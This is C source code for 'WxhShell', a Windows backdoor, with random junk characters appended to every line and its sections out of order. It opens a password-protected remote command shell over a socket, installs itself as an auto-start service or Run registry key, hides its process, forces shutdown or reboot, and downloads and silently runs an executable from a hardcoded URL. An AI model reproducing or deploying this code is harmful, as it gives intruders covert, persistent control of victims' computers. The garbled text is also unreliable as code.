  // 关机 LuVj9+1 S  
  case 'd': { a5iMCmL+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m:t $&  
    if(Boot(SHUTDOWN)) 1Sy#*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T]xGE   
    else { =%p"oj]:  
    closesocket(wsh); M\%{!Wzo8  
    ExitThread(0); ocMf}"  
    } 4 R]|  
    break; > h9U~#G=  
    } tv0xfAV  
  // 获取shell g 0L 4  
  case 's': { O]>Or3oO  
    CmdShell(wsh); km^AX:r1  
    closesocket(wsh); z(ajR*\#  
    ExitThread(0); B@4#y9`5  
    break; I'gnw~  
  } "~ /3  
  // 退出 xfzR>NU  
  case 'x': { u0,~pJvX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `'>>[*06:a  
    CloseIt(wsh); WXM_H0K  
    break; #df43_u  
    } \=@}(<4  
  // 离开 QqDF_  
  case 'q': { -H \nFJ6+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H`P )  
    closesocket(wsh); !"kvXxp^  
    WSACleanup(); Fri5_rxLl  
    exit(1); 75F&s,4+  
    break; 3"".kf,O5e  
        } H Ow hl  
  } _eF*8 /z  
  } ,%C$~+xjM  
;r y{cq  
  // 提示信息 l*eA ?Qz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @6E[K'5c1  
} s 2E}+ #  
  } kxP6#8*:  
yU\|dL  
  return; \8pbPo=x  
} yP-Dj ,  
23>?3-q  
// shell模块句柄 B[$e;h*Aw[  
int CmdShell(SOCKET sock) g (~&  
{ D"hiEz  
STARTUPINFO si; yF:fxdpw  
ZeroMemory(&si,sizeof(si)); aZ'p:9e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xnLfR6B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8177x7UG2[  
PROCESS_INFORMATION ProcessInfo; ?1d_E meG2  
char cmdline[]="cmd"; 4ldN0 _T5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R[Rs2eS_  
  return 0; ,To ED  
} Mk?9`?g.  
zh6so.  
// 自身启动模式 ~UnfS};U  
int StartFromService(void) 6B 8!2  
{ 8_uDxd  
typedef struct ;8A_- $  
{ >[p+L='  
  DWORD ExitStatus; *-n$n  
  DWORD PebBaseAddress; <Z5prunov  
  DWORD AffinityMask; acH.L _B:  
  DWORD BasePriority; w8E,zH  
  ULONG UniqueProcessId; Ze~\=X" "  
  ULONG InheritedFromUniqueProcessId; E )PEKWK\  
}   PROCESS_BASIC_INFORMATION; ^O ?$} sr  
*D'V W{  
PROCNTQSIP NtQueryInformationProcess; $&4Zw6"=  
0QPipuP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ed{9UJWh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /i]Gg \)  
eI[z%j[Y*  
  HANDLE             hProcess; NZ_45/(dx  
  PROCESS_BASIC_INFORMATION pbi; 4M:oa#gh@  
a}fW3+>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [;2v[&Po  
  if(NULL == hInst ) return 0; u66w('2  
Cr&ua|%F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h m"B kOA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G0^PnE0-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f ZISwr  
n_!&Wr^CX  
  if (!NtQueryInformationProcess) return 0; UKzmRa,s  
&@RU}DnvM&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); # WxH  
  if(!hProcess) return 0; c(~M<nL0  
5E%W;$3Pb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HiWZ?G  
:\>UZ9h #  
  CloseHandle(hProcess); 5p~Z-kU&  
B<o i,S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ywni2-)<  
if(hProcess==NULL) return 0; 3w-0v"j U  
mF_/Rhu  
HMODULE hMod; $q+7 ,,"  
char procName[255]; snK/,lm.  
unsigned long cbNeeded; [Nq4<NK  
H95VU"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hIdGQKr>V  
9KP+  
  CloseHandle(hProcess); x&f?c=\F  
> 1r>cZn  
if(strstr(procName,"services")) return 1; // 以服务启动 7#RW4ZM  
Ghj6&K%b0  
  return 0; // 注册表启动 ,^'Y7"  
} KLxg  
\UiuJ+  
// 主模块 H: U_k68  
int StartWxhshell(LPSTR lpCmdLine) "XH]B  
{ TEYbB=.  
  SOCKET wsl; gC'GZi^  
BOOL val=TRUE; 2n@"|\uHD  
  int port=0; xv)7-jlx  
  struct sockaddr_in door; !is8`8F8  
ZpwB"%e$  
  if(wscfg.ws_autoins) Install(); G1D(-X4ALZ  
?6[>HX;  
port=atoi(lpCmdLine); s2tEyR+gW  
8g$ 8]'M^T  
if(port<=0) port=wscfg.ws_port; ]s u\[?l  
^awl-CG  
  WSADATA data; f5O*Njl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z8:iaP)  
`=.{i}V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `aC#s3[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4iKT  
  door.sin_family = AF_INET; ch-GmAj 9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ! |}>Y  
  door.sin_port = htons(port); `W-:@?PmQx  
f>RPh bq|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gs. K,xma  
closesocket(wsl); DF-og*V  
return 1; aMzAA  
} ZGS=;jM  
\zKVgywR  
  if(listen(wsl,2) == INVALID_SOCKET) { s*S@} l  
closesocket(wsl); \Q#F&q0  
return 1; \^_F>M  
} h[ t OY  
  Wxhshell(wsl); 8`im4.~#%  
  WSACleanup(); No[>1]ds  
d+/d)cu  
return 0; amPQU  
upX/fL c  
} 79i>@u%  
l5aQDkp}  
// 以NT服务方式启动 =7$YBCuF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F[J;u/Z  
{ 7%o\O{,U  
DWORD   status = 0;  - @  
  DWORD   specificError = 0xfffffff; b]J_R"}  
(5atU |8r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NE/3aU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k1]?d7g$w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r*kk/ $,2  
  serviceStatus.dwWin32ExitCode     = 0; n9)/(=)>*  
  serviceStatus.dwServiceSpecificExitCode = 0; haY.rH]z  
  serviceStatus.dwCheckPoint       = 0; 4YdmG.CU  
  serviceStatus.dwWaitHint       = 0; /423!g0Q  
:CV&WP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u|Db%)[  
  if (hServiceStatusHandle==0) return; >0f5Mjug  
n0EKNMO  
status = GetLastError(); -]N/P{=L  
  if (status!=NO_ERROR) $ biCm$a  
{ ^^v\ T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "F0,S~tZZ  
    serviceStatus.dwCheckPoint       = 0; hLBX,r)u  
    serviceStatus.dwWaitHint       = 0; }|x]8zL8G  
    serviceStatus.dwWin32ExitCode     = status; (0Y6tcV]R  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~DCw [y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vls*fY:W  
    return; Um*{~=;u  
  } M34*$>bk  
Z EG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >bmL;)mc&  
  serviceStatus.dwCheckPoint       = 0; l_$~~z ~  
  serviceStatus.dwWaitHint       = 0; (/Nw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S c@g;+#QU  
} }<XeZ?;  
8p PAEf  
// 处理NT服务事件,比如:启动、停止 qG~O] ($  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c1Dhx,]ad  
{ 1z*]MYU  
switch(fdwControl) 1z{Azp MZ  
{ u0N1+-6kr+  
case SERVICE_CONTROL_STOP: 6n<:ph,h;  
  serviceStatus.dwWin32ExitCode = 0; zaX30e:R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >\MV/!W  
  serviceStatus.dwCheckPoint   = 0; ;o#dmG  
  serviceStatus.dwWaitHint     = 0; /\C9FGS  
  { vk{dL'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $S6AqUk$  
  } ?-*_v//g  
  return; )=8X[<^i  
case SERVICE_CONTROL_PAUSE: MTa.Ubs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ 57m] ;&  
  break; Y]ZOvA5W  
case SERVICE_CONTROL_CONTINUE: tR*J M$T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z~$fTW6g  
  break; zX|CW;  
case SERVICE_CONTROL_INTERROGATE: F!N;4J5u  
  break; e PlEd'Z  
}; )(y&U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z1*y$=D?3[  
} E5.)ro=$  
/J1O{L  
// 标准应用程序主函数 C <]rY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0;o`7f  
{ H<"{wUPT0  
eBG7]u,Q  
// 获取操作系统版本 O+c@B}[!  
OsIsNt=GetOsVer(); m &s0Ub  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =XyK/$  
[O9(sWL'  
  // 从命令行安装 )7:2v1Xr]  
  if(strpbrk(lpCmdLine,"iI")) Install(); BpRQG]L  
= R; 0Ed&b  
  // 下载执行文件 5,;{<\c  
if(wscfg.ws_downexe) { ll73}v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @yqy$I   
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Kg lp\2  
} ;PGC9v%i  
F5:4 B]ZF  
if(!OsIsNt) { iC$~v#2  
// 如果时win9x,隐藏进程并且设置为注册表启动 V/<dHOfR\  
HideProc(); j[9xF<I  
StartWxhshell(lpCmdLine); IZniRd;  
} iiKFV>;t/  
else [sbC6(z  
  if(StartFromService()) :,6dW?mun6  
  // 以服务方式启动 bvs0y7M='  
  StartServiceCtrlDispatcher(DispatchTable); ,??xW{* |  
else r(0I>|u  
  // 普通方式启动 Pa%XLn'5  
  StartWxhshell(lpCmdLine); >\[sNCkf  
^o65sM  
return 0; wE;??'O'l  
} ^pAqe8u_  
kR9G;IZ8s  
2r<UYB  
K4snp u hC  
=========================================== GAEz :n  
~1i,R1_\Y  
_~fO8_vr  
v`bX#\It  
'l)@MX bGL  
?}bSQ)b  
" _ i.CvYe  
p~DlZk"  
#include <stdio.h> n-}.Yc  
#include <string.h> Ds$FO}KD{  
#include <windows.h> .0r5=  
#include <winsock2.h> +|r) ;>b  
#include <winsvc.h> n!A')]y"  
#include <urlmon.h> ycIT=AFYqd  
@| qnD  
#pragma comment (lib, "Ws2_32.lib") `N;u#z  
#pragma comment (lib, "urlmon.lib") L*11hyyk  
{>pB  
#define MAX_USER   100 // 最大客户端连接数 O=G2bdY{,  
#define BUF_SOCK   200 // sock buffer v5RS<?o  
#define KEY_BUFF   255 // 输入 buffer _LxV)  
v93+<@Z  
#define REBOOT     0   // 重启 -|:7<$2#I  
#define SHUTDOWN   1   // 关机 <~<I K=n  
aG?'F`UQ  
#define DEF_PORT   5000 // 监听端口 0&$e:O'v  
&7XB $  
#define REG_LEN     16   // 注册表键长度 yI h>j.P  
#define SVC_LEN     80   // NT服务名长度 0+m"eGwTm  
`LVXK|m+$  
// 从dll定义API lD _  u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gU0}.b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p%G4Js.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;XZ5r|V}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TJ ;4QL  
k;#$Oxa>t=  
// wxhshell配置信息 M\DUx5d J,  
struct WSCFG { --dGN.*xb4  
  int ws_port;         // 监听端口 dPPe_% Ilr  
  char ws_passstr[REG_LEN]; // 口令 2u~0B +)K/  
  int ws_autoins;       // 安装标记, 1=yes 0=no UW. F1)  
  char ws_regname[REG_LEN]; // 注册表键名 vx5;}[Bhm  
  char ws_svcname[REG_LEN]; // 服务名 o>\jc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A|c  :&i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Vlfg51ob  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %]nLCoQh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 67~m9pk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [yf2_{*0T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0@.$(Aqo(  
ph<Z/wlz  
}; na?jCq9C  
HEhdV5B  
// default Wxhshell configuration EX='\~Dw  
struct WSCFG wscfg={DEF_PORT, k'xnl"q  
    "xuhuanlingzhe", <xOpm8  
    1, 8L|rj4z<#  
    "Wxhshell", 7'xT)~*$4  
    "Wxhshell", 7"Zr:|$U  
            "WxhShell Service", e*jn7aya  
    "Wrsky Windows CmdShell Service", V89!C?.[]1  
    "Please Input Your Password: ", 7Q/v#_e(  
  1, F C2oP,  
  "http://www.wrsky.com/wxhshell.exe", T=A7f6`  
  "Wxhshell.exe" LrsP4G  
    }; 7?]gUrE  
jcYI"f"~  
// 消息定义模块 :2 n5;fp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r%&hiobMYs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sYYg5vL9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BT2[@qH|qF  
char *msg_ws_ext="\n\rExit."; +wY3E*hU  
char *msg_ws_end="\n\rQuit."; )Mi #{5z  
char *msg_ws_boot="\n\rReboot..."; X.o[=E  
char *msg_ws_poff="\n\rShutdown..."; nsaf6y&E  
char *msg_ws_down="\n\rSave to "; qWy{{ A+  
CDO _A\  
char *msg_ws_err="\n\rErr!"; MV e5j+8  
char *msg_ws_ok="\n\rOK!"; IhJ _Yed  
C' o4Su#  
char ExeFile[MAX_PATH]; 3Nsb@0  
int nUser = 0; Ni(D[?mZ  
HANDLE handles[MAX_USER]; K}1>n2P  
int OsIsNt; tPDV"Md#m<  
'lHtz ~[  
SERVICE_STATUS       serviceStatus; svU107?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +O*S>0  
i5(_.1X<#{  
// 函数声明 t8U)za  
int Install(void); TEE$1RxV(  
int Uninstall(void); RCND|X  
int DownloadFile(char *sURL, SOCKET wsh); Njc3X@4=  
int Boot(int flag); YM1tP'4j@  
void HideProc(void); jQ4Pv`  
int GetOsVer(void); =3a`NO5!  
int Wxhshell(SOCKET wsl); H) m!)=\'  
void TalkWithClient(void *cs); nR!qolh  
int CmdShell(SOCKET sock); ) ok_"wB  
int StartFromService(void); s><RL]+{G+  
int StartWxhshell(LPSTR lpCmdLine); +7sdQCO(Co  
&julw;E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~5:]Oux  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %[B &JhT  
u8~.6]Ae  
// 数据结构和表定义 ?$ Uk[  
SERVICE_TABLE_ENTRY DispatchTable[] = )m\%L`+  
{ +4G uA0N6  
{wscfg.ws_svcname, NTServiceMain}, DL2e 9  
{NULL, NULL} ceH7Rq:4W  
}; -+'{C =  
tqmM7$}}P  
// 自我安装 s%H5Qa+Uh  
int Install(void) *NFy%ktu  
{ $gJMF(  
  char svExeFile[MAX_PATH]; Y xGIv8O]  
  HKEY key; !MTm4Ls  
  strcpy(svExeFile,ExeFile); Lyt6DvAp"  
FnvN 4h{S  
// 如果是win9x系统,修改注册表设为自启动 .: 87B=  
if(!OsIsNt) { RgRyo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e@L+z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n`vqCO7@'  
  RegCloseKey(key); e&<#8;2X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IW$&V``v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oT\B-lx  
  RegCloseKey(key); ;}.jRmnJ  
  return 0; !}l)okQH<#  
    } ag:#82C  
  } V BIPB  
} BXZ( %tnY  
else { !D7\$ g6g  
p#^L ZX  
// 如果是NT以上系统,安装为系统服务 qVZ=:D{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wrK$ZO]  
if (schSCManager!=0) H1s{JJAM>i  
{ )WwysGkqol  
  SC_HANDLE schService = CreateService eq(|%]a=  
  ( e4khReF;  
  schSCManager, rZKv:x}{6  
  wscfg.ws_svcname, No =f&GVg  
  wscfg.ws_svcdisp, '?_I-="Mr  
  SERVICE_ALL_ACCESS, \^|ncu:T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t{F6+dp  
  SERVICE_AUTO_START, L6r&Y~+/  
  SERVICE_ERROR_NORMAL, ;Zw!  
  svExeFile, !yoj ZG MB  
  NULL, %nFZA)B[  
  NULL, gS4K](KH |  
  NULL, 5NJ@mm{0  
  NULL, A!Xn^U*p  
  NULL y;;^o6Gnw  
  ); w{I60|C]*  
  if (schService!=0) ZH0 ~:  
  { ?mG ?N(t/h  
  CloseServiceHandle(schService); PM[6U#  
  CloseServiceHandle(schSCManager); e7]IEBbX2O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S8.nM}x  
  strcat(svExeFile,wscfg.ws_svcname); qW?^_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yw#P<8{/[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "y_$!KY%  
  RegCloseKey(key); h*_r=' E  
  return 0; ]r'b(R; S  
    } 68;,hS*|6  
  } x03GJy5  
  CloseServiceHandle(schSCManager); ] A<\ d  
} 14s+ &  
} B,e@v2jO|  
j(va# f#  
return 1; z<: 9,wtbP  
} 7:jSP$  
`S;pn+5  
// 自我卸载  4>0xS -  
int Uninstall(void) 57K1e~^  
{ CSt6}_c!  
  HKEY key; 1V FAfv%}  
|PI.xl:ch  
if(!OsIsNt) { +:/`&LOS-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '9{H(DA  
  RegDeleteValue(key,wscfg.ws_regname); I/XVo2Ee  
  RegCloseKey(key); G1$DV Go  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZZ[5Z =te?  
  RegDeleteValue(key,wscfg.ws_regname); <%qbU-  
  RegCloseKey(key); 9#O"^.Z !  
  return 0; w2/%e$D!9  
  } J\m7U  
} m[ifcDZ(e  
} ;,Lq*x2s  
else { h8pc<t\6  
hCW8(Zt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @ mt v2P`  
if (schSCManager!=0) B quyPG"  
{ B:^5W{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X+P3a/T  
  if (schService!=0) ;2#7"a^  
  { W5J"#^kdF8  
  if(DeleteService(schService)!=0) { axXA y5  
  CloseServiceHandle(schService); *!C^L"i  
  CloseServiceHandle(schSCManager); +qzsC/y  
  return 0;  M"X/([G  
  } "=P@x|I  
  CloseServiceHandle(schService); N{|N_}X`Y  
  } He"> kJx  
  CloseServiceHandle(schSCManager); VdVca1Z  
} ^hY<avi6s  
} u'Mq^8  
+]5JXt^  
return 1; i` Lt=)@&  
} AHn^^'&x[  
s)~Q@ze2  
// 从指定url下载文件 _F,@mQ$!  
int DownloadFile(char *sURL, SOCKET wsh) 7F)HAbIS  
{ owmA]f  
  HRESULT hr; l~F,i n.  
char seps[]= "/"; 0fi+tc 30  
char *token; L|!9%X0.  
char *file; ZiVTc/b  
char myURL[MAX_PATH]; Ddt(*z /  
char myFILE[MAX_PATH]; f.rHX<%q9B  
OM}:1He  
strcpy(myURL,sURL); M#F;eK2pf  
  token=strtok(myURL,seps); h7gH4L!'u  
  while(token!=NULL) ;M@ /AAZ  
  { }6^(  
    file=token; B0Xn9Tvk  
  token=strtok(NULL,seps); Q'$aFl'NR  
  } zzq/%jki  
?w3f;v  
GetCurrentDirectory(MAX_PATH,myFILE); JK[7&C-O  
strcat(myFILE, "\\"); t?YGGu^  
strcat(myFILE, file); olK%TM[Y  
  send(wsh,myFILE,strlen(myFILE),0); .hETqE`E  
send(wsh,"...",3,0); b*?="%eE(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sNS! /  
  if(hr==S_OK) !{Y$5)Xh`]  
return 0; |_!xA/_U'T  
else  "}Ya.  
return 1; h r*KDT^!  
e:NzpzI"v  
} XXxX;xz$  
9-}&znLZe  
// 系统电源模块 15Yy&9D  
int Boot(int flag) ")x9A&p  
{ )9L1WOGi  
  HANDLE hToken; H'Z[3e  
  TOKEN_PRIVILEGES tkp; jr~76  
!C#q  
  if(OsIsNt) { 8h;1(S)*Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {%UY1n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (_U&EX%  
    tkp.PrivilegeCount = 1; ?z Ms;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `9b D%M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S\g8(\u  
if(flag==REBOOT) { ) 1H]a'j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q:=s99  
  return 0; u) fbR  
} [dOPOA/d  
else { F4">go  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z1^S;#v  
  return 0; j_p.KF'[?  
} d~GT w:  
  } p]=8=pE<  
  else { 9dy"Y~c  
if(flag==REBOOT) { ];zi3oS^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o8Q(,P  
  return 0; U:YT>U1Z  
} 2JtGS-t  
else { @36^4E>h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M7!&gFv8  
  return 0; (w"zI!  
} O{SU,"!y  
} 1 *;?uC\  
^N0hc!$  
return 1; vEn12s(lj  
}  {l_R0  
f-4<W0%  
// win9x进程隐藏模块 T5W r;a  
void HideProc(void) s~M!yuH  
{ t2tH%%Rs  
s+Ln>c'|o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B>AIec\jG  
  if ( hKernel != NULL ) ?ew^%1!W.  
  { f,`FbT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B^{bXhDp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v|QFUa`  
    FreeLibrary(hKernel); B)ynF?"  
  } bpKMQrwd  
< ~x5{p  
return; FW[<;$  
} IExQ}I  
l|j&w[c[Q0  
// 获取操作系统版本 D zl#[|q  
int GetOsVer(void) P{rJG '  
{ LFV;Y.-(h  
  OSVERSIONINFO winfo; HHa7Kh|-H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $0iz;!w  
  GetVersionEx(&winfo); K& 2p<\2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tlqDY1  
  return 1; 1pO ;aG1O  
  else q:1 1XPP  
  return 0; 6t/})Xv  
} E(]yjZ/  
bKG:_mWe w  
// 客户端句柄模块 ~g>15b3  
int Wxhshell(SOCKET wsl) Tff7SEP  
{ hMhD(X  
  SOCKET wsh; YM+}Mmu  
  struct sockaddr_in client; b LSI\  
  DWORD myID; ?aO%\<b  
_lyP7$[: c  
  while(nUser<MAX_USER) %aL>n=$  
{ vAwFPqu  
  int nSize=sizeof(client); 4ol=YGCI_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k]; <PF  
  if(wsh==INVALID_SOCKET) return 1; sks_>BM  
 /=[M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BQ_\8Qt|  
if(handles[nUser]==0) 7{az %I$h  
  closesocket(wsh); sy/J+==  
else ][wS}~):  
  nUser++; AVNB)K"  
  } _Y\@{T;^Zb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vk;>#yoox  
!Me%W3  
  return 0; vaR0`F  
} +=u*!6S  
eQ9{J9)?  
// 关闭 socket br$!}7#=L  
void CloseIt(SOCKET wsh) ^Fb"Is#S,  
{ cr,o<  
closesocket(wsh); y%E R51+  
nUser--; ): Q5u6  
ExitThread(0); n'4D;4  
} |[k6X=5  
X]  Tb4  
// 客户端请求句柄 _mXq]r0  
void TalkWithClient(void *cs) =CRaMjN  
{ h/-7;Csv  
!dVcnK1  
  SOCKET wsh=(SOCKET)cs; R>pa? tQgK  
  char pwd[SVC_LEN]; \EB]J\ x<  
  char cmd[KEY_BUFF]; h`3;^T  
char chr[1]; !v`q%JW(  
int i,j;  s.GTY@t  
 w8FZXL  
  while (nUser < MAX_USER) { TSHp.ABf  
C. 8>  
if(wscfg.ws_passstr) { Ds L]o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |nU:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GXJ3E"_.  
  //ZeroMemory(pwd,KEY_BUFF); `Rj i=k>  
      i=0; B;1wnKdj  
  while(i<SVC_LEN) { L[TL~@T   
f()^^+  
  // 设置超时 d5^ipu  
  fd_set FdRead; =7Tbu'O;  
  struct timeval TimeOut; dVe3h.,[v  
  FD_ZERO(&FdRead); K7e<hdP_#  
  FD_SET(wsh,&FdRead); %q ja:'k  
  TimeOut.tv_sec=8; o#0NIn"GS/  
  TimeOut.tv_usec=0; 5\QNGRu"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -@^SiI:C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R+!2 j  
#Kn7 xn[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z.<1,EKi=  
  pwd=chr[0]; B(^fM!_%-6  
  if(chr[0]==0xd || chr[0]==0xa) { (T'inNbJe  
  pwd=0; mjs*Z{_F^  
  break; i Cv &<C@  
  } 66Hu<3X P  
  i++; >|z=-hqPK  
    } #/1A:ig  
TU[f"!z^  
  // 如果是非法用户,关闭 socket S@_@hFV jd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kAy.o  
} 8 LaZ5  
L/<Up   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m^]/ /j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f<kL}B+,Og  
<;U"D.'  
while(1) { cpE&Fba}"  
wQ [2yq  
  ZeroMemory(cmd,KEY_BUFF); uLL#(bhDr  
Tb{,WUJg2  
      // 自动支持客户端 telnet标准   UbQeN  
  j=0; WWE?U-o  
  while(j<KEY_BUFF) { zWjGGTP~3&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3_Oq4/  
  cmd[j]=chr[0]; n]8_]0{qi  
  if(chr[0]==0xa || chr[0]==0xd) { +;; fw |/  
  cmd[j]=0; EidIi"sr  
  break; DlIfr6F  
  } L ~ 1Lv?  
  j++; @uH7GW}$g  
    } Y`( I};MO  
dHOz;4_  
  // 下载文件 bXC 0f:L  
  if(strstr(cmd,"http://")) { e,1Jxz4QH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GSpS8wWD }  
  if(DownloadFile(cmd,wsh)) v8pUt\m"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bk^ :6>{K  
  else aty K^*aX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z': >nw  
  } k?xtZ,n{s  
  else { Bpk%,*$*)  
